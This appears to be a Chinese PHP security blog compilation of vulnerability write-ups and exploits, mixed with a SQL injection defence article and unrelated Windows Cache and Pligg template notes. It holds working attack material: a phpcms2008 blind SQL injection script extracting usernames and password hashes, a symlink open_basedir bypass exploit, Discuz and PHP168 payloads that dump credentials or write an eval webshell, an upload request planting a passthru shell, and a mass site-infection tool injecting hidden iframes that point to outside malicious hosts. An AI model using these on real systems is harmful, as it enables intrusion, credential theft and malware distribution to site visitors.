php技术

PHPWind 7.5 多处包含漏洞

作者: 80vul

一.api/class_base.php本地包含漏洞

1.描叙

api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

2. 具体分析

api/class_base.php文件里:

function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.'api/class_' . $mode . '.php')) {
return new ErrorMsg(API_MODE_NOT_EXISTS, "Class($mode) Not Exists");
}
require_once(R_P.'api/class_' . $mode . '.php'); //这里
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, "Method($method of $mode) Not Exists");
}
!is_array($params) && $params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}

我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:

function run($request) {
$request = $this->strips($request);
if (isset($request['type']) && $request['type'] == 'uc') {
$this->type = 'uc';
$this->apikey = $GLOBALS['uc_key'];//注意这个变量也是该漏洞的关键
} else {
$this->type = 'app';
$this->apikey = $GLOBALS['db_siteownerid'];
$this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == 'app' && !$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, 'App Closed');
}
***/
ksort($request);
reset($request);
$arg = '';
foreach ($request as $key => $value) {
if ($value && $key != 'sig') {
$arg .= "$key=$value&";
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this->apikey = $GLOBALS['uc_key'],和$request['sig']我们
//都可以控制,那么很容易绕过它
return new ErrorMsg(API_SIGN_ERROR, 'Error Sign');
}
$mode = $request['mode']; //取$mode 没有过滤直接进入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
if (isset($params['appthreads'])) {
if (PHP_VERSION < 5.2) { require_once(R_P.'api/class_json.php'); $json = new Services_JSON(true); $params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
} else {
$params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
}
}
if ($params && isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //调用callback ()
}

我们继续看看run()函数的调用:

在pw_api.php文件里:

$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.

上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.’api/class_’ . $mode . ‘.php’);这个需要绕过魔术引号才可以
包含容易文件.我们注意看run()的第一句

$request = $this->strips($request);

strips()的代码:

function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)
}
return $param;
}

3.POC/EXP

4.FIX

由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:

http://www.phpwind.net/read-htm-tid-914851.html

具体代码:

require_once Pcv(R_P.'api/class_' . $mode . '.php');

function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(' http://',"\0"); //过滤了http:// \0 意思是不让远程 不让截断
$ifcheck && $tmparray[] = '..'; //过滤了.. 意思是不让转跳目录
if (str_replace($tmparray,'',$tmpname)!=$tmpname) {
exit('Forbidden');
}
return $filename;
}

从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? …

二.apps/share/index.php远程包含漏洞

1.描叙

apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

三.apps/groups/index.php远程包含漏洞

1.描叙

apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

if ($route == "groups") {
require_once $basePath . '/action/m_groups.php';
} elseif ($route == "group") {
require_once $basePath . '/action/m_group.php';
} elseif ($route == "galbum") {
require_once $basePath . '/action/m_galbum.php';
}

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

PHP+MySQL环境下SQL Injection攻防总结

作者:老王

程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个新功能先,先写一个测试用例,然后再编写代码使之运行通过。其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报错,然后一点一点的修正参数内容,当程序再次运行成功之时,注入也就随之成功了。

进攻:

假设你的程序里有类似下面内容的脚本:

$sql = “SELECT id, title, content FROM articles WHERE id = {$_GET['id']}”;

正常访问时其URL如下:

/articles.php?id=123

当黑客想判断是否存在SQL Injection漏洞时,最常用的方式就是在整形ID后面加个单引号:

/articles.php?id=123′

由于我们没有过滤$_GET['id']参数,所以必然会报错,可能会是类似下面的信息:

supplied argument is not a valid MySQL result resource in …

这些信息就足以说明脚本存在漏洞了,我们可以再耍点手段:

/articles.php?id=0 union select 1,2,3

之所以select 1,2,3是因为union要求两边的字段数一致,前面是id,title,content三个字段,后面1,2,3也是三个,所以不会报语法错误,还有设置id=0是一条不存在的记录,那么查询的结果就是1,2,3,反映到网页上,原本显示id的地方会显示1,显示title的地方会显示2,显示content的地方会显示3。

至于如何继续利用,还要看magic_quotes_gpc的设置:

当magic_quotes_gpc为off时:

/articles.php?id=0 union select 1,2,load_file(‘/etc/passwd’)

如此一来,/etc/passwd文件的内容就会显示在原本显示content的地方。

当magic_quotes_gpc为on时:

此时如果直接使用load_file(‘/etc/passwd’)就无效了,因为单引号被转义了,但是还有办法:

/articles.php?id=0 union select 1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))

其中的数字就是/etc/passwd字符串的ASCII,除此以为,还可以使用字符串的十六进制:

/articles.php?id=0 union select 1,2,load_file(0×2f6574632f706173737764)

这里仅仅说了数字型参数的几种攻击手段,属于冰山一角,详细介绍看我文章后面的文档链接。

防守:

网络上有一些类似SQL Injection Firewall的软件可供使用,比如说GreenSQL,如果网站已经开始遭受SQL Injection攻击,那么使用这样的快捷工具往往会救你一命,不过这样的软件在架构上属于一个Proxy的角色,多半会影响网站并发性能,所以在选择与否这个问题上最好视客观条件来慎重决定。很多时候专业的软件并不是必须的,还有很多轻量级解决方案,下面演示一下如何使用awk来检测可能的漏洞。

创建detect_sql_injection.awk脚本,内容如下(如果要拷贝一下内容的话记得不要包括行号):

01 #!/bin/gawk -f
02
03 /\$_(GET|POST|COOKIE|REQUEST)\s*\[/ {
04 IGNORECASE = 1
05 if (match($0, /\$.*(sql|query)/)) {
06 IGNORECASE = 0
07 output()
08 next
09 }
10 }
11
12 function output()
13 {
14 $1 = $1
15 print "CRUD: " $0 "\nFILE: " FILENAME "\nLINE: " FNR "\n"
16 }

此脚本可匹配出类似如下的问题代码,想要扩展匹配模式也容易,只要照猫画虎写if match语句即可。

1:$sql = "SELECT * FROM users WHERE username = '{$_POST['username']}’”;
2:$res = mysql_query(“SELECT * FROM users WHERE username = ‘{$_POST['username']}’”);

使用前别忘了先chmod +x detect_sql_injection.awk,有两种调用方法:

1:./detect_sql_injection.awk /path/to/php/script/file
2:find /path/to/php/script/directory -name “*.php” | xargs ./detect_sql_injection.awk

会把有问题的代码信息显示出来,样子如下:

CRUD: $sql = “SELECT * FROM users WHERE username = ‘{$_POST['username']}’”;
FILE: /path/to/file.php
LINE: 123

现实环境中有很多应用这个脚本的方法,比如说通过CRON定期扫描程序源文件,或者在SVN提交时通过钩子方法自动匹配。

使用专业工具也好,检测脚本亦罢,都是被动的防守,问题的根本始终取决于在程序员头脑里是否有必要的安全意识,下面是一些必须要牢记的准则:

1:数字型参数使用类似intval,floatval这样的方法强制过滤。
2:字符串型参数使用类似mysql_real_escape_string这样的方法强制过滤,并且要注意字符集。
3:最好抛弃mysql_query这样的拼接SQL查询方式,尽可能使用PDO的prepare绑定方式。
4:使用rewrite技术隐藏真实脚本及参数的信息,通过rewrite正则也能过滤可疑的参数。
5:关闭错误提示,不给攻击者提供敏感信息:display_errors=off。
6:以日志的方式记录错误信息:log_errors=on和error_log=filename,定期排查,Web日志最好也查。
7:不要用具有FILE权限的账号(比如root)连接MySQL,这样就没有权限使用load_file等函数。
8:……

网站安全其实并不复杂,总结出来就是一句话:过滤输入,转义输出。其中,我们上面一直讨论的SQL Injection问题就属于过滤输入问题,至于转义输出问题,其代表是Cross-site scripting,但它不属于本文的范畴,就不多说了。
from:http://hi.baidu.com/thinkinginlamp/blog/item/7c691f301ab56693a9018e8a.html

PHP 5.2.11/5.3.0 symlink() open_basedir bypass

The first main problem exist in security model based on symlinks
open_basedir. Paths like $target and $link are checked by open_basedir. We
can bypass open_basedir, but function symlink() is not affected. Issue has
been generated by false security model designed by PHP.

<?php
/*
PHP 5.2.11/5.3.0 symlink() open_basedir bypass
by Maksymilian Arciemowicz http://securityreason.com/
cxib [ a.T] securityreason [ d0t] com

CHUJWAMWMUZG
*/

$fakedir=”cx”;
$fakedep=16;

$num=0; // offset of symlink.$num

if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file=”";

echo ‘<PRE><img
src=”http://securityreason.com/gfx/logo.gif?cx5211.php”><P>This is exploit
from <a
href=”http://securityreason.com/” title=”Security Audit PHP”>Security Audit
Lab – SecurityReason</a> labs.
Author : Maksymilian Arciemowicz
<p>Script for legal use only.
<p>PHP 5.2.11 5.3.0 symlink open_basedir bypass
<p>More: <a href=”http://securityreason.com/”>SecurityReason</a>
<p><form name=”form”
action=”http://’.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF
"]).’” method=”post”><input type=”text” name=”file” size=”50″
value=”‘.htmlspecialchars($file).’”><input type=”submit” name=”hym”
value=”Create Symlink”></form>’;

if(empty($file))
exit;

if(!is_writable(“.”))
die(“not writable directory”);

$level=0;

for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}

while(1<$as–) chdir(“..”);

$hardstyle = explode(“/”, $file);

for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as–)
chdir(“..”);

@rmdir(“fakesymlink”);
@unlink(“fakesymlink”);

@symlink(str_repeat($fakedir.”/”,$fakedep),”fakesymlink”);

// this loop will skip allready created symlinks.
while(1)
if(true==(@symlink(“fakesymlink/”.str_repeat(“../”,$fakedep-1).$file,
“symlink”.$num))) break;
else $num++;

@unlink(“fakesymlink”);
mkdir(“fakesymlink”);

die(‘<FONT COLOR=”RED”>check symlink <a
href=”./symlink’.$num.’”>symlink’.$num.’</a> file</FONT>’);

?>

提醒下 5.1.6也可以的 :)
直接/etc/
然后点连接
http://localhost/symlink1/passwd
!!!!!!!!!!!!!!!!!!!!!

from:http://hi.baidu.com/hackloft/blog/item/3afa631c62dc168186d6b67c.html

WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution

#Trace: 授权用户的拿webshell的方法.受影响版本<=2.8.5,受服务器环境影响.

Note:

Wordpress allows authorised users to add an attachment to a blog post.
It does not sanitize provided file properly before moving it to an
uploads directory.

http://seclists.org/fulldisclosure/2009/Nov/141

from:web安全手册

phpcms2008 最新0day & Exp

来源:My5t3ry

漏洞存在于yp/job.php的17-34行,urldecode函数惹的祸,代码如下:

PHP代码
switch($action)
{
case 'list':
$catid = intval($catid);
$head['keywords'] .= '职位列表';
$head['title'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$head['description'] .= '职位列表'.'_'.$PHPCMS['sitename'];
$templateid = 'job_list';
if($inputtime)
$time = time() - 3600*$inputtime*24;
else $time = 0;
if($time < 0 )$time = 0;
$where = "j.updatetime >= '{$time}' ";
$genre = urldecode($genre);
if($station)$where .= "AND j.station = '{$station}' ";
if($genre)$where .= "AND c.genre = '{$genre}' ";
if(!trim($where))$where = '1';
break;


exp:

PHP代码

if ($argc != 4)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$userid = $argv [3];
$prefix="phpcms_";
//$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$pos = 1;
$chr = 0;

function usage ()
{
global $argv;
echo
"\n[+] PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit".
"\n[+] Author: My5t3ry".
"\n[+] Site : http://hi.baidu.com/netstart".
"\n[+] Usage : php ".$argv[0]." ".
"\n[+] Ex. : php ".$argv[0]." localhost /yp 1".
"\n\n";
exit ();
}

function request ($hostname, $path, $query)
{
$fp = fsockopen ($hostname, 80);

$request = "GET {$path}/job.php?action=list&inputtime=0&station=4&genre={$query} HTTP/1.1\r\n".
"Host: {$hostname}\r\n".
"Connection: Close\r\n\r\n";

fputs ($fp, $request);

while (!feof ($fp))
$reply .= fgets ($fp, 1024);

fclose ($fp);
return $reply;
}

function exploit ($hostname, $path, $uid, $fld, $chr, $pos)
{
global $prefix;

$chr = ord ($chr);

$query = "x' OR ASCII(SUBSTRING((SELECT {$fld} FROM ".$prefix."member WHERE userid = '{$uid}'),{$pos},1))={$chr} OR '1' = '2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

preg_match ("/(.+)<\/span>/", $outcode, $x);

if (strlen (trim ($x [1])) == 0)
return false;
else
return true;
}

$query = "x%2527";

$outcode = request ($hostname, $path, $query);

preg_match('/FROM `(.+)yp_job/ie',$outcode,$match);

$prefix=$match[1];

//function lengthcolumns ()
//{
echo "\n--------------------------------------------------------------------------------\n";
echo " PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit\n";
echo " By My5t3ry (http://hi.baidu.com/netstart)\n";
echo "\n--------------------------------------------------------------------------------\n";
echo "[~]trying to get pre...\n";

if ($match[1]) {

echo '[+]Good Job!Wo Got The pre -> '.$match[1]."\n";
}

else {
die(" Exploit failed...");
}

echo "[~]trying to get username length...\n";
$exit=0;
$length=0;
$i=0;
while ($exit==0)
{
$query = "x' OR length((select username from ".$prefix."member Where userid='{$userid}'))=".$i." OR '1'='2";

$query = str_replace (" ", "%20", $query);

$query = str_replace ("'", "%2527", $query);

$outcode = request ($hostname, $path, $query);

$i++;

preg_match ("/(.+)<\/span>/", $outcode, $x);
//echo $outcode;
if ($i>20) {die(" Exploit failed...");}

if (strlen (trim ($x [1])) != 0) {
$exit=1;
}else{
$exit=0;
}
}

$length=$i-1;
echo "[+]length -> ".$length;

// return $length;
//}

echo "\n[~]Trying to Crack...";
echo "\n[+]username -> ";

while ($pos <= $length)
{
$key = "abcdefghijklmnopqrstuvwxyz0123456789";

if (exploit ($hostname, $path, $userid, "username", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

$pos = 9;

echo "\n[+]password(md5) -> ";

while ($pos <= 24)
{
$key = "abcdef0123456789";
if (exploit ($hostname, $path, $userid, "password", $key [$chr], $pos))
{
echo $key [$chr];
$chr = -1;
$pos++;
}
$chr++;
}

echo "\n[+]Done!";
echo "\n\n--------------------------------------------------------------------------------";

?>

PHP168 6.0及以下版本漏洞

转自:鬼仔

来源:chinesehonker

危险等级:高

影响版本:PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。

测试语句:
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

Windows Cache Extension for PHP 更多介绍

今天IIS团队发布了Windows Cache Extension 1.0 for PHP的beta测试版,这是用来提高PHP应用跑在Windows系统上的速度的PHP加速器。任何PHP应用程序不需要修改任何代码都可以用它来提速,所需做的只是在PHP引擎里启用这个扩展。

安装 Windows Cache Extension 1.0 for PHP – Beta 

或下载:

Windows Cache Extension 1.0 for PHP 5.2 – Beta
Windows Cache Extension 1.0 for PHP 5.3 – Beta

按照”Using Windows Cache Extension for PHP“文章里的指示来安装、启用和配置这个扩展。

注意:

  • 该扩展只能用于PHP的non-thread-safe版本
  • 该扩展只能用于以FastCGI方式运行在IIS上的PHP
  • Windows Cache Extension 1.0 for PHP 5.3只能用于PHP5.3的x86 VC9版本

特性:

  • 支持PHP 5.2和PHP 5.3
  • 提供PHP函数获得cache状态信息


该扩展包含3个可以被分别启用或禁用的缓存特性:

  • PHP opcode cache – PHP是一个脚本处理引擎,它阅读包含文本和/或PHP指令的输入流,并产生另一个数据流(通常是HTML格式)。这意味着在一个web服务器上PHP引擎对每一次来自浏览器客户端的请求都要读入、解析、编译和执行一遍PHP脚本。读入、解析和编译操作给web服务器的CPU和文件系统带来额外的负载,影响PHP网页应用的总体效能。PHP opcode (字节码) cache 用来在共享内存里缓存编译好的脚本字节码,以便同一脚本文件的后续请求可以被PHP引擎重用。
  • File cache – 即使PHP字节码缓存启用,PHP引擎还需要访问文件系统里的脚本文件。当PHP脚本存储在远程UNC文件共享时,文件操作会带来显著的性能开销。Windows Cache Extension for PHP的文件缓存可以把PHP脚本文件的内容缓存在共享内存里,减少PHP引擎的文件系统操作。
  • Relative file path cache – PHP脚本频繁使用相对路径include或操作文件。每个相对文件路径需要被PHP引擎转换成绝对文件路径。当PHP应用以相对路径使用很多PHP文件时,解析相对路径到绝对路径的操作会影响性能。Windows Cache Extension for PHP提供相对文件路径缓存,减少PHP引擎需要进行的转换数量。

更多信息


您可以使用Windows Cache Extension for PHP Forummailto:iisphp或在本文后留言来提问、汇报问题或提供特性反馈建议等。

Windows Cache Extension for PHP Beta 发布

也许您同时喜欢PHP的开发速度和Windows的易用性,但PHP和Windows的配合似乎永远没有Linux好?今天微软终于可以让Windows的PHP用户向Linux下的朋友们炫耀一下:
Windows Cache Extension for PHP Beta 发布,这是一个面向PHP的Windows缓存扩展,用于提高PHP应用程序的速度,而且无需修改任何代码!支持IIS 7.5和IIS 7.0.

  • PHP 5.2 and PHP 5.3 support
  • Configurable file cache
  • Configurable PHP opcode cache
  • Relative file path cache
  • PHP functions to obtain information about the cache status

访问:Windows Cache Extension for PHP

PLIGG的模板结构

在templates/目录下,除了各个模板目录外还有4个文件:

文件名 描述
blank.tpl 空模版
error.tpl 模板装载发生错误后的错误信息
meta.tpl 页面meta信息,如果模板中有定制将被覆盖
templates.tpl 各个模板的信息,如果新添加模板,需要修改这个文件
.htaccess 访问规则

在模板目录下:
目录

目录名 内容
./ 前台模板文件
admin_templates 后台管理的模板
css CSS样式文件,主样式main.css
images 模板所用到的图片
js 模板所用到的javascript
sidebar_modules 侧栏菜单

文件

文件名 描述 相关文件
admin_template.tpl 后台管理主页面 admin_users.php
blank.tpl 空页面 admin_config.php, link.php, smartyvariables.php
comments_center.tpl 评论中间页面 edit.php
comment_form.tpl 评论表格 edit.php
comment_show.tpl 显示评论 comment.php
editlink_edit_center.tpl 编辑链接的编辑中央 editlink.php
edit_comment_center.tpl 编辑评论的中央 edit.php
faq-en.tpl about pligg的那个英文介绍页面 faq-en.php
faq-en_center.tpl about pligg介绍页面中央 faq-en.php
footer.tpl 页脚 htm1.php, lightbox.init.php
ForgottenPassword_Step2.tpl 忘记密码第二步页面 login.php
header.tpl 页头 基本上所有页面都用了
index_center.tpl index中间 index.php
link_summary.tpl 链接描述 ling.php,vote.php
login_center.tpl 登陆中央页面 login.php
.tpl 模板的主文件 主文件,基本上所有页面都用了
profile_center.tpl 个人资料中央 users_extra_fields_init.php, profile.php
published_center.tpl 以发布的文章中央 published.php, unpublished.php
quick_edit_story.tpl 编辑条目 没有
recommend_small.tpl 回复评论页面 recommend.php
register_center.tpl 注册页面中央 register.php
register_error.tpl 注册错误 register.php
register_step_1.tpl 注册第一步 register.php
register_step_2.tpl 注册第二步 register.php
search_center.tpl 搜索中央页面 register.php
settemplate_center.tpl 设定主题模板 settemplate.php
upcoming_center.tpl 列队文章中央页面 discarded.php, upcoming.php
sidebar.tpl 侧边菜单 admin_modifylanguage.php, html1.php
sidebar_stories.tpl 侧边显示发布的最新文章 sidebar_stories.php, sidebar_stories_u.php
sidebar_stories_u.tpl 侧边显列队的最新文章?? sidebar.tpl
story_center.tpl 文章中央页面 story.php
story_who_voted.tpl 谁给文章过投票页面 story_center.tpl
submit_empty_submit_form.tpl 提交空表格 submit_errors.tpl
submit_errors.tpl 提交错误 submit.php, editlink.php
submit_extra_fields.tpl 提交额外部分 submit.php, editlink.php
submit_step_1.tpl 提交第一步 submit.php
submit_step_2.tpl 提交第二步 submit.php
submit_step_3.tpl 提交第三步 submit.php
tag_cloud_center.tpl tag云页面 cloud.php
topusers_center.tpl 最积极用户中央页面 topuser.php
topusers_data.tpl 最积极拥护数据 topusers_center.tpl
unpublished_center.tpl 未发布的文章中央页面 unpublished.php
user_center.tpl 用户中央页面 messaging_init.php, user.php, user_center.tpl

from:http://ajiong.com/206/pligg的模板结构/

Discuz账号发放插件注入0day

来源: 普瑞斯特

Discuz账号发放插件注入0day

插件名:2Fly礼品(序号)发放系统
漏洞文件:2fly_gift.php
版本:最新版
Exp:http://www.xxx.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0×3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from cdb_members

搜索引擎特征:inurl:2fly_gift.php
上图:


批量挂马和批量清马程序

<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read()))  {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已挂马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read()))  {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清马文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']==’gm’) {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']==’qm’) {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量挂马(清马)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index\.|default\.|main\.|\.html’>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value=’<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>’>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版
BY 随风而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value=’index\.|default\.|main\.|\.html’>—–正则表达式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value=’<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>’>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<p align=”center”>本程序是在n3tl04d的批量挂马的基础上修改而成,在此表示感谢<br>
大家在实战中最好不要用批量挂马,能找共用的文件挂马就最好用共用的方法挂吧<br>
做人要厚道<br>
by 随风而去&nbsp; 07.12.06

PHP未明远程任意文件上传漏洞 (测试成功)

原文:http://www.wisec.it/news.php?page=1&lang=it
鸟文没太看明白,摸索了一下,$_FILE数组元素解析的问题。

搭个php的环境,目录在C:\www下,根目录下有个upload.php代码如下

<?php

$uploaddir = ’c:/www/’;
$uploadfile = $uploaddir . $_FILES['user_file']['name'];

print “<pre>”;
if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
print “File is valid, and was successfully uploaded. ”;
print “Here’s some more debugging info:\n”;
print_r($_FILES);
}
else {
print “Possible file upload attack!  Here’s some debugging info:\n”;
print_r($_FILES);
}
print “</pre>”;
?>


使用nc,发送修改过的包,添加了一个段(暂且叫段吧,大家应该能看明白),主要修改了其中的Content-Type的值,发包内容如下:

POST /upload.php HTTP/1.1
Accept: */*
Referer: http://localhost/upload.html
Accept-Language: zh-cn
Content-Type: multipart/form-data
; boundary=—————————7d915736b07cc
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible
; MSIE 6.0; Windows NT 5.2; SV1; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Host: localhost
Content-Length: 477
Connection: Keep-Alive
Cache-Control: no-cache

—————————–7d915736b07cc
Content-Disposition: form-data; name=”user[file[name]123″; filename=”a.php”
Content-Type: ../passt.php

<?php
passthru($_GET['cmd']);
?>
—————————–7d915736b07cc–

—————————–7d915736b07cc
Content-Disposition: form-data; name=”user[file[name]123″; filename=”vg”
Content-Type: application/octet-stream

<?php
passthru($_GET['cmd']);
?>
—————————–7d915736b07cc–


提示结果如下:

C:\>nc localhost 80 <up.txt
HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 03:44:33 GMT
Server: Apache/2.0.50 (Win32) PHP/5.0.0
X-Powered-By: PHP/5.0.0
Content-Length: 284
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

<pre>File is valid, and was successfully uploaded. Here’s some more debugging in
fo:
Array
(
[user_file] => Array
(
[name] => ../passt.php
[tmp_name] => C:\WINDOWS\TEMP\php248.tmp
[error] => 0
[size] => 34
)

)
</pre>^C
C:\>


然后C:\根目录中可以看到上传了passt.php文件。

能干嘛?不知道,别问我,我什么都不知道。

(需要$_FILES,变量必须要有下划线“_”,这里是“user_file”,没时间仔细研究了。)